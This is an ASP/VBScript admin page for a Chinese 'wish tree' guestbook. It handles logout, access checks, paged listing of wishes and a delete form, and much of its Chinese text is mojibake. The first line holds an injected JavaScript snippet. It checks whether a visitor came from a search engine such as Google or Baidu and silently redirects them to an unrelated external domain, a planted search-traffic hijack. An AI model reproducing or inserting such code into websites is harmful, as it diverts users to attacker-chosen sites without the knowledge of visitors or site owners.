001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%@LANGUAGE="VBSCRIPT"%>
002: <% 003: ' *** Logout the current user. 004: MM_Logout = CStr(Request.ServerVariables("URL")) & "?MM_Logoutnow=1"
005: If (CStr(Request("MM_Logoutnow")) = "1") Then
006: Session.Abandon
007: MM_logoutRedirectPage = "default.asp"
008: ' redirect with URL parameters (remove the "MM_Logoutnow" query param). 009: if (MM_logoutRedirectPage = "") Then MM_logoutRedirectPage = CStr(Request.ServerVariables("URL"))
010: If (InStr(1, UC_redirectPage, "?", vbTextCompare) = 0 And Request.QueryString <> "") Then
011: MM_newQS = "?"
012: For Each Item In Request.QueryString
013: If (Item <> "MM_Logoutnow") Then
014: If (Len(MM_newQS) > 1) Then MM_newQS = MM_newQS & "&"
015: MM_newQS = MM_newQS & Item & "=" & Server.URLencode(Request.QueryString(Item))
016: End If
017: Next
018: if (Len(MM_newQS) > 1) Then MM_logoutRedirectPage = MM_logoutRedirectPage & MM_newQS
019: End If
020: Response.Redirect(MM_logoutRedirectPage)
021: End If
022: %>
023: <!--#include file="Connections/conn.asp" --> 024: <% 025: ' *** Restrict Access To Page: Grant or deny access to this page 026: MM_authorizedUsers=""
027: MM_authFailedURL="default.asp"
028: MM_grantAccess=false
029: If Session("MM_Username") <> "" Then
030: If (true Or CStr(Session("MM_UserAuthorization"))="") Or _
031: (InStr(1,MM_authorizedUsers,Session("MM_UserAuthorization"))>=1) Then
032: MM_grantAccess = true
033: End If
034: End If
035: If Not MM_grantAccess Then
036: MM_qsChar = "?"
037: If (InStr(1,MM_authFailedURL,"?") >= 1) Then MM_qsChar = "&"
038: MM_referrer = Request.ServerVariables("URL")
039: if (Len(Request.QueryString()) > 0) Then MM_referrer = MM_referrer & "?" & Request.QueryString()
040: MM_authFailedURL = MM_authFailedURL & MM_qsChar & "accessdenied=" & Server.URLEncode(MM_referrer)
041: Response.Redirect(MM_authFailedURL)
042: End If
043: %>
044: <% 045: set rs = Server.CreateObject("ADODB.Recordset")
046: rs.ActiveConnection = MM_conn_STRING
047: rs.Source = "SELECT id, xyname, ggormm, xyid FROM xybook ORDER BY xydate DESC"
048: rs.CursorType = 0
049: rs.CursorLocation = 2
050: rs.LockType = 3
051: rs.Open()
052: rs_numRows = 0
053: %>
054: <% 055: set rs1 = Server.CreateObject("ADODB.Recordset")
056: rs1.ActiveConnection = MM_conn_STRING
057: rs1.Source = "SELECT * FROM class"
058: rs1.CursorType = 0
059: rs1.CursorLocation = 2
060: rs1.LockType = 3
061: rs1.Open()
062: rs1_numRows = 0
063: %>
064: <% 065: Dim HLooper1__numRows
066: HLooper1__numRows = 16
067: Dim HLooper1__index
068: HLooper1__index = 0
069: rs_numRows = rs_numRows + HLooper1__numRows
070: %>
071: <% 072: Dim HLooper2__numRows
073: HLooper2__numRows = -6
074: Dim HLooper2__index
075: HLooper2__index = 0
076: rs1_numRows = rs1_numRows + HLooper2__numRows
077: %>
078: <% 079: ' *** Go To Record and Move To Record: create strings for maintaining URL and Form parameters 080:
081: ' create the list of parameters which should not be maintained 082: MM_removeList = "&index="
083: If (MM_paramName <> "") Then MM_removeList = MM_removeList & "&" & MM_paramName & "="
084: MM_keepURL="":MM_keepForm="":MM_keepBoth="":MM_keepNone=""
085:
086: ' add the URL parameters to the MM_keepURL string 087: For Each Item In Request.QueryString
088: NextItem = "&" & Item & "="
089: If (InStr(1,MM_removeList,NextItem,1) = 0) Then
090: MM_keepURL = MM_keepURL & NextItem & Server.URLencode(Request.QueryString(Item))
091: End If
092: Next
093:
094: ' add the Form variables to the MM_keepForm string 095: For Each Item In Request.Form
096: NextItem = "&" & Item & "="
097: If (InStr(1,MM_removeList,NextItem,1) = 0) Then
098: MM_keepForm = MM_keepForm & NextItem & Server.URLencode(Request.Form(Item))
099: End If
100: Next
101:
102: ' create the Form + URL string and remove the intial '&' from each of the strings 103: MM_keepBoth = MM_keepURL & MM_keepForm
104: if (MM_keepBoth <> "") Then MM_keepBoth = Right(MM_keepBoth, Len(MM_keepBoth) - 1)
105: if (MM_keepURL <> "") Then MM_keepURL = Right(MM_keepURL, Len(MM_keepURL) - 1)
106: if (MM_keepForm <> "") Then MM_keepForm = Right(MM_keepForm, Len(MM_keepForm) - 1)
107:
108: ' a utility function used for adding additional parameters to these strings 109: Function MM_joinChar(firstItem)
110: If (firstItem <> "") Then
111: MM_joinChar = "&"
112: Else
113: MM_joinChar = ""
114: End If
115: End Function
116: %>
117: <% 118: ' *** СÌ﹤×÷ÊÒUD²å¼þϵÁÐ Limit Pages List v1.0.0 (¸Ä±à×ÔPagesList) 119:
120: ' set the record count 121: rs_total = rs.RecordCount
122:
123: ' set the number of rows displayed on this page 124: If (rs_numRows < 0) Then
125: rs_numRows = rs_total
126: Elseif (rs_numRows = 0) Then
127: rs_numRows = 1
128: End If
129:
130: ' set the first and last displayed record 131: rs_first = 1
132: rs_last = rs_first + rs_numRows - 1
133:
134: ' if we have the correct record count, check the other stats 135: If (rs_total <> -1) Then
136: If (rs_first > rs_total) Then rs_first = rs_total
137: If (rs_last > rs_total) Then rs_last = rs_total
138: If (rs_numRows > rs_total) Then rs_numRows = rs_total
139: End If
140: %>
141: <% 142: ' *** Recordset Stats: if we don't know the record count, manually count them 143:
144: If (rs_total = -1) Then
145:
146: ' count the total records by iterating through the recordset 147: rs_total=0
148: While (Not rs.EOF)
149: rs_total = rs_total + 1
150: rs.MoveNext
151: Wend
152:
153: ' reset the cursor to the beginning 154: If (rs.CursorType > 0) Then
155: rs.MoveFirst
156: Else
157: rs.Requery
158: End If
159:
160: ' set the number of rows displayed on this page 161: If (rs_numRows < 0 Or rs_numRows > rs_total) Then
162: rs_numRows = rs_total
163: End If
164:
165: ' set the first and last displayed record 166: rs_first = 1
167: rs_last = rs_first + rs_numRows - 1
168: If (rs_first > rs_total) Then rs_first = rs_total
169: If (rs_last > rs_total) Then rs_last = rs_total
170:
171: End If
172: %>
173: <% 174: ' *** Move To Record and Go To Record: declare variables 175:
176: Set MM_rs = rs
177: MM_rsCount = rs_total
178: MM_size = rs_numRows
179: MM_uniqueCol = ""
180: MM_paramName = ""
181: MM_offset = 0
182: MM_atTotal = false
183: MM_paramIsDefined = false
184: If (MM_paramName <> "") Then
185: MM_paramIsDefined = (Request.QueryString(MM_paramName) <> "")
186: End If
187: %>
188: <% 189: ' *** Move To Record: handle 'index' or 'offset' parameter 190:
191: if (Not MM_paramIsDefined And MM_rsCount <> 0) then
192:
193: ' use index parameter if defined, otherwise use offset parameter 194: r = Request.QueryString("index")
195: If r = "" Then r = Request.QueryString("offset")
196: If r <> "" Then MM_offset = Int(r)
197:
198: ' if we have a record count, check if we are past the end of the recordset 199: If (MM_rsCount <> -1) Then
200: If (MM_offset >= MM_rsCount Or MM_offset = -1) Then ' past end or move last
201: If ((MM_rsCount Mod MM_size) > 0) Then ' last page not a full repeat region
202: MM_offset = MM_rsCount - (MM_rsCount Mod MM_size)
203: Else
204: MM_offset = MM_rsCount - MM_size
205: End If
206: End If
207: End If
208:
209: ' move the cursor to the selected record 210: i = 0
211: While ((Not MM_rs.EOF) And (i < MM_offset Or MM_offset = -1))
212: MM_rs.MoveNext
213: i = i + 1
214: Wend
215: If (MM_rs.EOF) Then MM_offset = i ' set MM_offset to the last possible record
216:
217: End If
218: %>
219: <% 220: ' *** Move To Record: if we dont know the record count, check the display range 221:
222: If (MM_rsCount = -1) Then
223:
224: ' walk to the end of the display range for this page 225: i = MM_offset
226: While (Not MM_rs.EOF And (MM_size < 0 Or i < MM_offset + MM_size))
227: MM_rs.MoveNext
228: i = i + 1
229: Wend
230:
231: ' if we walked off the end of the recordset, set MM_rsCount and MM_size 232: If (MM_rs.EOF) Then
233: MM_rsCount = i
234: If (MM_size < 0 Or MM_size > MM_rsCount) Then MM_size = MM_rsCount
235: End If
236:
237: ' if we walked off the end, set the offset based on page size 238: If (MM_rs.EOF And Not MM_paramIsDefined) Then
239: If (MM_offset > MM_rsCount - MM_size Or MM_offset = -1) Then
240: If ((MM_rsCount Mod MM_size) > 0) Then
241: MM_offset = MM_rsCount - (MM_rsCount Mod MM_size)
242: Else
243: MM_offset = MM_rsCount - MM_size
244: End If
245: End If
246: End If
247:
248: ' reset the cursor to the beginning 249: If (MM_rs.CursorType > 0) Then
250: MM_rs.MoveFirst
251: Else
252: MM_rs.Requery
253: End If
254:
255: ' move the cursor to the selected record 256: i = 0
257: While (Not MM_rs.EOF And i < MM_offset)
258: MM_rs.MoveNext
259: i = i + 1
260: Wend
261: End If
262: %>
263: <% 264: ' *** Move To Record: update recordset stats 265:
266: ' set the first and last displayed record 267: rs_first = MM_offset + 1
268: rs_last = MM_offset + MM_size
269: If (MM_rsCount <> -1) Then
270: If (rs_first > MM_rsCount) Then rs_first = MM_rsCount
271: If (rs_last > MM_rsCount) Then rs_last = MM_rsCount
272: End If
273:
274: ' set the boolean used by hide region to check if we are on the last record 275: MM_atTotal = (MM_rsCount <> -1 And MM_offset + MM_size >= MM_rsCount)
276: %>
277: <% 278: ' *** Go To Record and Move To Record: create strings for maintaining URL and Form parameters 279:
280: ' create the list of parameters which should not be maintained 281: MM_removeList = "&index=&god="
282: If (MM_paramName <> "") Then MM_removeList = MM_removeList & "&" & MM_paramName & "="
283: MM_keepURL="":MM_keepForm="":MM_keepBoth="":MM_keepNone=""
284:
285: ' add the URL parameters to the MM_keepURL string 286: For Each Item In Request.QueryString
287: NextItem = "&" & Item & "="
288: If (InStr(1,MM_removeList,NextItem,1) = 0) Then
289: MM_keepURL = MM_keepURL & NextItem & Server.URLencode(Request.QueryString(Item))
290: End If
291: Next
292:
293: ' add the Form variables to the MM_keepForm string 294: For Each Item In Request.Form
295: NextItem = "&" & Item & "="
296: If (InStr(1,MM_removeList,NextItem,1) = 0) Then
297: MM_keepForm = MM_keepForm & NextItem & Server.URLencode(Request.Form(Item))
298: End If
299: Next
300:
301: ' create the Form + URL string and remove the intial '&' from each of the strings 302: MM_keepBoth = MM_keepURL & MM_keepForm
303: if (MM_keepBoth <> "") Then MM_keepBoth = Right(MM_keepBoth, Len(MM_keepBoth) - 1)
304: if (MM_keepURL <> "") Then MM_keepURL = Right(MM_keepURL, Len(MM_keepURL) - 1)
305: if (MM_keepForm <> "") Then MM_keepForm = Right(MM_keepForm, Len(MM_keepForm) - 1)
306:
307: ' a utility function used for adding additional parameters to these strings 308: Function MM_joinChar(firstItem)
309: If (firstItem <> "") Then
310: MM_joinChar = "&"
311: Else
312: MM_joinChar = ""
313: End If
314: End Function
315: %>
316: <% 317: ' *** Move To Record: set the strings for the first, last, next, and previous links 318:
319: MM_keepMove = MM_keepBoth
320: MM_moveParam = "index"
321:
322: ' if the page has a repeated region, remove 'offset' from the maintained parameters 323: If (MM_size > 0) Then
324: MM_moveParam = "offset"
325: If (MM_keepMove <> "") Then
326: params = Split(MM_keepMove, "&")
327: MM_keepMove = ""
328: For i = 0 To UBound(params)
329: nextItem = Left(params(i), InStr(params(i),"=") - 1)
330: If (StrComp(nextItem,MM_moveParam,1) <> 0) Then
331: MM_keepMove = MM_keepMove & "&" & params(i)
332: End If
333: Next
334: If (MM_keepMove <> "") Then
335: MM_keepMove = Right(MM_keepMove, Len(MM_keepMove) - 1)
336: End If
337: End If
338: End If
339:
340: ' set the strings for the move to links 341: If (MM_keepMove <> "") Then MM_keepMove = MM_keepMove & "&"
342: urlStr = Request.ServerVariables("URL") & "?" & MM_keepMove & MM_moveParam & "="
343: MM_moveFirst = urlStr & "0"
344: MM_moveLast = urlStr & "-1"
345: MM_moveNext = urlStr & Cstr(MM_offset + MM_size)
346: prev = MM_offset - MM_size
347: If (prev < 0) Then prev = 0
348: MM_movePrev = urlStr & Cstr(prev)
349: %>
350: <html>
351: <head>
352: <title>Untitled Document</title>
353: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
354: <link rel="stylesheet" href="css.css" type="text/css">
355: <script language="JavaScript">
356: <!--
357: function MM_openBrWindow(theURL,winName,features) { //v2.0
358: window.open(theURL,winName,features);
359: }
360: //--> 361: </script>
362: </head>
363: <body bgcolor="#FFFFFF" text="#000000" background="images/back.gif" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
364: <div align="center"></div>
365: <table width="52%" border="0" cellspacing="0" cellpadding="0" align="center" background="images/bg.gif" class="css">
366: <tr>
367: <td width="4%" height="12"><a href="#"><img src="images/sign1114.gif" width="20" height="17" alt="ÐíÔ¸" border="0" onClick="MM_openBrWindow('xy.asp','ÐíÔ¸Ê÷','width=300,height=410')"></a></td>
368: <td width="5%" height="12"> </td>
369: <td width="6%" height="12">
370: <div align="center"><a href="del.asp">È«²¿</a></div>
371: </td>
372: <td width="60%" height="12">
373: <table width="296" align="center">
374: <% 375: startrw = 0
376: endrw = HLooper2__index
377: numberColumns = 6
378: numrows = -1
379: while((numrows <> 0) AND (Not rs1.EOF))
380: startrw = endrw + 1
381: endrw = endrw + numberColumns
382: %>
383: <tr align="center" valign="top">
384: <% 385: While ((startrw <= endrw) AND (Not rs1.EOF))
386: %>
387: <td height="8">
388: <table width="91%" border="0" cellspacing="0" cellpadding="0" class="css">
389: <tr>
390: <td>
391: <div align="center"><img src="images/sign069.gif" width="10" height="10"><A HREF="delclass.asp?<%= MM_keepNone & MM_joinChar(MM_keepNone) & "xyid=" & rs1.Fields.Item("xyid").Value %>"><%=(rs1.Fields.Item("classname").Value)%></A><img src="images/sign069.gif" width="10" height="10"></div>
392: </td>
393: </tr>
394: </table>
395: </td>
396: <% 397: startrw = startrw + 1
398: rs1.MoveNext()
399: Wend
400: %>
401: </tr>
402: <% 403: numrows=numrows-1
404: Wend
405: %>
406: </table>
407: </td>
408: <td width="11%" height="12">
409: <div align="center"><a href="change.asp">ÐÞ¸ÄÃÜÂë</a></div>
410: </td>
411: <td width="14%" height="12">
412: <div align="center"><A HREF="<%=MM_Logout%>">Í˳öµÇ½</A>
413: </div>
414: </td>
415: </tr>
416: </table>
417: <p align="center"> </p>
418: <form name="form1" method="get" action="delok.asp">
419: <table width="50%" border="0" cellspacing="0" cellpadding="0" align="center">
420: <tr>
421: <td background="images/yy.gif" height=5></td>
422: </tr>
423: <tr>
424: <td>
425: <div align="center"></div>
426: <table align="center" width="520">
427: <% 428: startrw = 0
429: endrw = HLooper1__index
430: numberColumns = 4
431: numrows = 4
432: while((numrows <> 0) AND (Not rs.EOF))
433: startrw = endrw + 1
434: endrw = endrw + numberColumns
435: %>
436: <tr align="center" valign="top">
437: <% 438: While ((startrw <= endrw) AND (Not rs.EOF))
439: %>
440: <td>
441: <table width="5%" border="0" cellspacing="0" cellpadding="0" align="center" class="css">
442: <tr>
443: <td>
444: <% If (rs.Fields.Item("xyid").Value) = (2) Then 'script %>
445: <a href="xyxx.asp?<%= MM_keepNone & MM_joinChar(MM_keepNone) & "id=" & rs.Fields.Item("id").Value %>" target="_blank"><img src="images/aiqing.gif" width="63" height="75" border="0"></a>
446: <% End If ' end If (rs.Fields.Item("xyid").Value) = (2) script %>
447: <% If (rs.Fields.Item("xyid").Value) = (3) Then 'script %>
448: <a href="xyxx.asp?<%= MM_keepNone & MM_joinChar(MM_keepNone) & "id=" & rs.Fields.Item("id").Value %>" target="_blank"><img src="images/mengxiang.gif" width="63" height="75" border="0"></a>
449: <% End If ' end If (rs.Fields.Item("xyid").Value) = (3) script %>
450: <% If (rs.Fields.Item("xyid").Value) = (1) Then 'script %>
451: <a href="xyxx.asp?<%= MM_keepNone & MM_joinChar(MM_keepNone) & "id=" & rs.Fields.Item("id").Value %>" target="_blank"><img src="images/shiye.gif" width="63" height="75" border="0"></a>
452: <% End If ' end If (rs.Fields.Item("xyid").Value) = (1) script %>
453: <% If (rs.Fields.Item("xyid").Value) = (4) Then 'script %>
454: <a href="xyxx.asp?<%= MM_keepNone & MM_joinChar(MM_keepNone) & "id=" & rs.Fields.Item("id").Value %>" target="_blank"><img src="images/zhufu.gif" width="63" height="75" border="0"></a>
455: <% End If ' end If (rs.Fields.Item("xyid").Value) = (4) script %>
456: </td>
457: </tr>
458: <tr>
459: <td>
460: <div align="center">
461: <% If (rs.Fields.Item("ggormm").Value) = (1) Then 'script %>
462: <img src="images/gg.gif" width="27" height="27">
463: <% End If ' end If (rs.Fields.Item("ggormm").Value) = (1) script %>
464: <% If (rs.Fields.Item("ggormm").Value) = (2) Then 'script %>
465: <img src="images/mm.gif" width="27" height="27">
466: <% End If ' end If (rs.Fields.Item("ggormm").Value) = (2) script %>
467: </div>
468: </td>
469: </tr>
470: <tr>
471: <td>
472: <div align="center"><%=(rs.Fields.Item("xyname").Value)%><br>
473: <input type="checkbox" name="id" value="<%=(rs.Fields.Item("id").Value)%>">
474: </div>
475: </td>
476: </tr>
477: </table>
478: </td>
479: <% 480: startrw = startrw + 1
481: rs.MoveNext()
482: Wend
483: %>
484: </tr>
485: <% 486: numrows=numrows-1
487: Wend
488: %>
489: </table>
490: </td>
491: </tr>
492: <tr>
493: <td height="5" background="images/yy.gif"></td>
494: </tr>
495: </table>
496: <div align="center">
497: <input type="submit" name="Submit" value="ɾ³ý">
498: </div>
499: </form>
500: <p align="center" class="css"> µ±Ç°ÏÔʾµÚ<%=(rs_first)%> µ½µÚ<%=(rs_last)%> ¸öÔ¸Íû£¬Ò»¹²<%=(rs_total)%>¸öÔ¸Íû¡£<br>
501: <% 502: Forward = ">>>"
503: Backward = "<<<"
504: Delimiter = " | "
505: Rec_Name = rs_total
506: List_Num = 10
507: Godspeed = 1
508: if request.querystring("god") <> "" then
509: Godspeed = request.querystring("god")
510: end if
511: if Godspeed <> 1 then
512: Response.Write("<a href=" & Request.ServerVariables("URL") & "?" & MM_keepMove & "offset=" & Godspeed - MM_Size - 1 & "&god=" & Godspeed - MM_Size * List_Num & ">")
513: Response.Write(Backward & "</a> ")
514: end if
515: if Rec_Name < Godspeed + MM_Size * List_Num then
516: Matrix = Rec_Name
517: else
518: Matrix = Godspeed + MM_Size * (List_Num - 1)
519: end if
520: if MM_size=0 then
521: mm_size=1
522: end if
523:
524: TM_counter = ( Godspeed - 1 )/MM_Size
525: For i = Godspeed to Matrix step MM_Size
526: TM_counter = TM_counter + 1
527: if i <> MM_offset + 1 then
528: Response.Write("<a href=" & Request.ServerVariables("URL") & "?" & MM_keepMove & "offset=" & i-1 & "&god=" & Godspeed & ">")
529: Response.Write(TM_counter & "</a>")
530: else
531: Response.Write("<b>" & TM_counter & "</b>")
532: End if
533: if( i <= Matrix - MM_Size ) then Response.Write(Delimiter)
534: next
535: if Rec_Name > Godspeed + MM_Size * List_Num - 1 then
536: Response.Write(" <a href=" & Request.ServerVariables("URL") & "?" & MM_keepMove & "offset=" & Godspeed + MM_Size * List_Num - 1 & "&god=" & Godspeed + MM_Size * List_Num & ">")
537: Response.Write(Forward & "</a>")
538: end if
539: %>
540: </p>
541: <!--#include file="bottom.asp" --> 542: </body>
543: </html>
544: <% 545: rs.Close()
546: %>
547: <% 548: set rs = nothing
549: %>
550: <% 551: rs1.Close()
552: %>
553: <% 554: set rs1 = nothing
555: %>
556:
557:
558: